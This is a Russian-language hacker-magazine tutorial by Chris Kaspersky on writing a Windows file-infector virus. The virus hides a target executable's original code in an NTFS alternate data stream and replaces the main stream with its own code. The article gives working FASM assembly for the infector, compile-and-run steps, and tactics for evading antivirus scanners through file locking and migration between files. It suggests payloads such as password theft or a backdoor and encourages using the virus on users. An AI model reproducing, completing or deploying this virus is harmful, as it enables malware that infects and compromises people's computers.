asm.NTFS

захват и освобождение заложников в исполняемых файлов

крис касперски ака мыщъх

конструирование вирусов — отличный стимул к изучению ассемблера! и хотя вирус в принципе можно написать и на Си, это будет как-то не по-хакерски и вообще неправильно! настоящие хакеры пишут только на FASM'е и только под Pain/Hypocrisy или на худой конец под группу Absu — запрещенную в большинстве стран Европы. ОК! затариваемся пивом, надеваем наушники, запускаем Multi-Edit или TASMED и погружаемся в мрачный chemicalexcrement кибернетического мира, ряды которого скоро пополняется еще одним зловредным созданием…

Внедрение вируса в исполняемый файл — достаточно сложный и мучительней процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций… Такими темпами мы не накодим вируса и за сезон, а хочется поиметь его прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows XP) содержит такую фичу как «потоки» (stream) они же «атрибуты». Внутри одного файла может существовать несколько независимых потоков данных.

Имя потока отделяется от имени файла знаком «:», например: my_file:stream. Основное тело файла хранится в безымянном потоке, но мы так же можем создавать и свои потоки. Заходим в FAR, давим <Shift-F4>, вводим «xxx:yyy» и скармливаем редактору какое-нибудь восклицание, например: «легализуем гандж!». Выходим из редактора и видим файл «xxx» с нулевой длиной. Как это так с нулевой длинной?! А наше восклицание где?! Жмем <F4> и… ни хрена не видим. Все правильно! Если не указано имя потока, файловая система отображает основной поток, а он у нас пустой. Размер остальных потоков не отображается и чтобы дотянуться до их содержимого имя потока должно быть указано явно. Вводим «more < xxx:yyy» и вот он, наш, гандж.

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, наше пребывание в нем скорее всего останется незамеченным. Конечно, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что навряд ли понравится антивирусным сторожам. Ну со сторожами мы еще разберемся, а пока определимся со стратегией внедрения.

Рисунок 1 файловая система NTFS поддерживает несколько потоков в рамках одного файла (рисунок, к сожалению, на китайском – другой найти не удалось, но приблизительная структура понятна и без перевода)

Закройте руководство по PE-формату. Оно нам не понадобится. Мы ведь хакеры, а не штангисты какие-нибудь и действовать мы будет так: создаем внутри жертвы дополнительный поток, копируем туда основное тело файла, а на его место записываем свой код, делающий что-то «полезное» и передающий управление на основное тело. Работать это будет только на Windows NT/2000/XP и только под NTFS. FAT отдыхает. Оригинальное содержимое заражаемого файла на FAT-разделах будет утеряно, а это писец. То же самое произойдет, если упаковать файл ZIP'ом или любым другим архиватором, не поддерживающим потоков (а вот RAR их поддерживает. В диалоговом окне «имя и параметры архива» есть вкладка «дополнительно», а в ней галочка «сохранять файловые потоки». Вот это она и есть.)

Рисунок 2 заставляем RAR упаковывать потоки

Есть и другая проблема. Windows блокирует доступ ко всем открытым файлам и при попытке внедрения в explorer.exe или firefox.exe обламывает нас по полной программе. Печально. Но выход есть. Заблокированный файл нельзя открыть, но можно переименовать. Берем explorer.exe, переименовываем его… ну, например, в godown (в смысле: отсоси у меня детка), создаем новый файл с точно таким же именем, в основном потоке которого размещаем свое вирусное тело, а прежний explorer.exe копируем в дополнительный поток. При последующих запусках системы управление получит наш explorer.exe и godown будет можно удалить. А можно и не удалять. Правда, тогда он может привлечь внимание бдительного юзера или антивирусного ревизора.

Кстати, о ревизорах. Внедрится в файл это только половина дела. Это и орангутанг сможет. Еще необходимо придумать, как обезвредить всевозможные контролирующие органы типа антивирусов и сторожей. Нет ничего проще! Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии на протяжении всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а, значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx. Подробнее об этом можно прочитать в Platform SDK.

Основная ошибка большинства вирусов состоит в том, что однажды внедрившись в файл, они сидят и покорно ждут пока не придет антивирус и не сотрет их на фиг. А ведь сканирование современных винчестеров занимает значительное время, растягивающееся на многие часы… В каждый момент времени антивирус проверяет всего один файл и если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, шансы на его обнаружение стремительно уменьшаются.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедрясь в другой. Чем короче период ожидания — тем выше вероятность пройти мимо антивируса незамеченным, но и выше дисковая активность. А регулярные мигание красной лампочки без видимых причин сразу же насторожит опытных пользователей, поэтому приходится хитрить. Можно, например, вести мониторинг дисковой активности, осуществляя заражение только тогда, когда происходит обращение к какому-нибудь файлу. В этом нам поможет файловый монитор Марка Руссиновича (www.systeminternals.com), который легко доработать под наши нужды.

Естественные языки (ну типа там русский матерный или английский технический) с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и взаимно противоречивы. Поэтому, во избежание недоразумений продублируем описание алгоритма на языке ассемблера.

Ниже приведен исходный код ключевого фрагмента вируса с комментариями. Технические детали для экономии бумами опущены и лежат на лазерном диске, прилагаемом к журналу в файле xcode.asm.

section '.code' code readable executable

start:

; удаляем временный файл

push godown

call [DeleteFile]

; определяем наше имя

push 1000

push buf

push 0

call [GetModuleFileName]

; считываем командную строку

; ключ –* filename - заразить

call [GetCommandLine]

mov ebp,eax

xor ebx,ebx

mov ecx, 202A2D2Dh ;

rool:

cmp [eax], ecx; это '–*'?

jz infect

inc eax

cmp [eax], ebx; конец командной строки?

jnzrool

; выводим диагностическое сообщение,

; подтверждая свое присутствие в файле

push0

pushaInfected

pushaHello

push0

call[MessageBox]

; добавляем к своему имени имя NTFS-потока

mov esi, code_name

mov edi, buf

mov ecx, 100; code_name_end - code_name

xor eax,eax

repne scasb

dec edi

rep movsb

; запускам NTFS-поток на выполнение

push xxx

push xxx

push eax

push eax

push eax

push eax

push eax

push eax

push ebp

push buf

call [CreateProcess]

jmp go2exit; выходим из вируса

infect:

; устанавливаем eax на первый символ имени файла-жертвы

; (далее по тексту dst)

addeax, 4

xchgeax, ebp

xor eax,eax

inc eax

; тут не помешает вставить проверку dst на заражение

; переименовываем dst в godown

push godown

push ebp

call [RenameFile]

; копируем в godown основной поток dst

push eax

push ebp

push buf

call [CopyFile]

; добавляем к своему имени имя NTFS-потока

mov esi, ebp

mov edi, buf

copy_rool:

lodsb

stosb

test al,al

jnz copy_rool

mov esi, code_name

dec edi

copy_rool2:

lodsb

stosb

test al,al

jnz copy_rool2

; копируем godown в dst:eatout

push eax

push buf

push godown

call [CopyFile]

; тут не помешает добавить коррекцию длины заражаемого файла,

; удаляем godown

push godown

call [DeleteFile]

; выводим диагностическое сообщение,

; подтверждающие успешность заражения файла

push0

pushaInfected

pushebp

push0

call[MessageBox]

; выход из вируса

go2exit:

push0

call[ExitProcess]

section '.data' data readable writeable

godowndb «godown»,0; имя временного файла

code_namedb «:eatmeout»,0; имя потока, в котором будет…

code_name_end:; …сохранено основное тело

; различные текстовые строки, выводимые вирусом

aInfected db «infected»,0

aHellodb«hello, bitch, fuckthemall! © mylene farmer –>»

; различные буфера для служебных целей

bufrb 1000

xxxrb 1000

Листинг 1 исходный текст ключевого фрагмента вируса

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, поскольку используют совсем другой ассемблерный синтаксис.

ОК, скачиваем http://flatassembler.net/fasmw160.zip, распаковываем архив и набираем «fasm.exe xcode.asm» в командной строке. Если все сделано правильно, на диске должен образоваться файл xcode.exe. Запустим его на выполнение с ключом «–*» за которым следует имя предполагаемой жертвы, например, notepad.exe («xcode.exe –* notepad.exe»). Появление следующего диалогового окна свидетельствует об успешном внедрении. В противном случае, у нас ничего не получилось и первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае пока… Напомните мне, чтобы вернуться к этому вопросу в следующий раз.

Рисунок 3 файл успешно заражен

Запускаем зараженный notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно, а после нажатия на «ОК» передает управление оригинальному коду программы.

Рисунок 4 реакция зараженного файла на выполнение

Чтобы не у пользователя не случился инфаркт, из финальной версии вируса это диалоговое окно лучше всего удалить, заменив его своей собственной «начинкой». Тут все зависит от наших намерений и фантазии. Можно перевернуть экран, похитить пароли или обложить пользователя трехэтажным матом, послав его на хрен.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Взять хотя бы «Пасьянс» — «notepad.exe ‑‑* sol.exe». Естественно, заражать файлы через командную строку ни один нормальный пользователь не будет и процедуру поиска очередной жертвы в вирусное тело мы должны добавить самостоятельно. Если, конечно, мы захотим ее искать. Ведь не санкционирование внедрение в чужие файлы это уже УК!

Так что лучше совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл отказывает в работе. Вот беда! Как ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Берем CreateFile, передаем ей имя файла вместе с потоком (notepad.exe:eatmeout) и смотрим на результат. Если файл открыть не удалось, значит потока «eatmeout» тут нет и он еще не заражен, в противном случае мы должны отказаться от заражения. Или… выбрать другой поток. Например, eatmeout_01, eatmeout_02, eatmeout_03…

Другая проблема — вирус не корректирует длину целевого файла и после внедрения она уменьшается до 4 Кб — именно столько занимает текущая версия xcode.exe. Нехорошо! Пользователь тут же заподозрит подвох (explorer.exe, занимающий 4 Кб выглядит довольно забавно), занервничает и начнет запускать всякие нехорошие программы типа антивируса. Но что нам стоит запомнить длину жертвы перед внедрением, скопировать в нее свое тело, открыть файл на запись и сделать SetFilePointer на оригинальный размер, увеличивая размер жертвы до исходных значений.

Как определить какие потоки содержаться внутри файла? Штатными средствами – никак! Функции работы с потоками недокументированны и доступы только через Native-API. Это: NtCreateFile, NtQueryEaFile и NtSetEaFile, описание которых можно найти в частности в книге «TheUndocumentedFunctionsMicrosoftWindowsNT/2000» Tomasz'а Nowak'а, электронная копия которой может быть бесплатно скачена с сервера NTinterlnals.net. А еще стоит почиать статью «Win2k.Stream» из 5'го номера вирусного журнала #29A, да и другие журналы пролистать не мешает.

Создания нового потока осуществляется вызовом функции NtCreateFile, среди прочих аргументов принимающей указатель на структуру FILE_FULL_EA_INFORMATION, передаваемый через EaBuffer. Как вариант, можно воспользоваться функцией NtSetEaFile, передав ей дескриптор, возращенный NtCreateFile, открывающей файл обычным образом. Перечислением (и чтением) всех имеющихся потоков занимается функция NtQueryEaFile. Прототипы всех функций и определения структур содержатся в файле NTDDK.H, в котором присутствует достаточное количество комментариев, чтобы со всем этим хозяйством можно было разобраться.

    1. море полезного материла по вирусам и ассемблеру, форум на котором туссуется множество матерых профессионалов, ну вообще просто приятный сайт;
    1. гигантская коллекция вирусов и учебников по их написанию;
  1. http:flatassembler.net/fasmw160.zip** - бесплатная Windows-версия ассемблера FASM – самого правильного ассемблера из всех. ===== заключение ===== Свершилось! Наш вирус написан. Что дальше? Теперь можно неспешно полировать код, наращивая его функциональность. В конечном счете, вирус существует не для тупого размножения. У каждого из них должна быть своя миссия и своя сверхзадача. Установить backdoor, перехватить пароль, ну или что-то в этом роде. Преложенная стратегия внедрения, конечно, не является идеальной, но все же это намного лучше, чем прописываться в реестре, который контролирует куча докторов. Кстати говоря, чтобы не пострадать от своего же собственного вируса, под рукой всегда должно находится противоядие. Следующий командный файл «вытягивает» оригинальное содержимое файла из потока eatmeout и записывает его в файл rebirthed.exe. more < %1:eatmeout > rebirthed.exe ECHO i'm rebirthed now, fuck you! Листинг 2 восстановитель зараженных файлов На сегодня это все. Слушайте Peter'aTagtgren'a, пейте пиво, натягивайте юзеров вирусом по полной программе, в общем наслаждайтесь жизнью во всех ее проявлениях.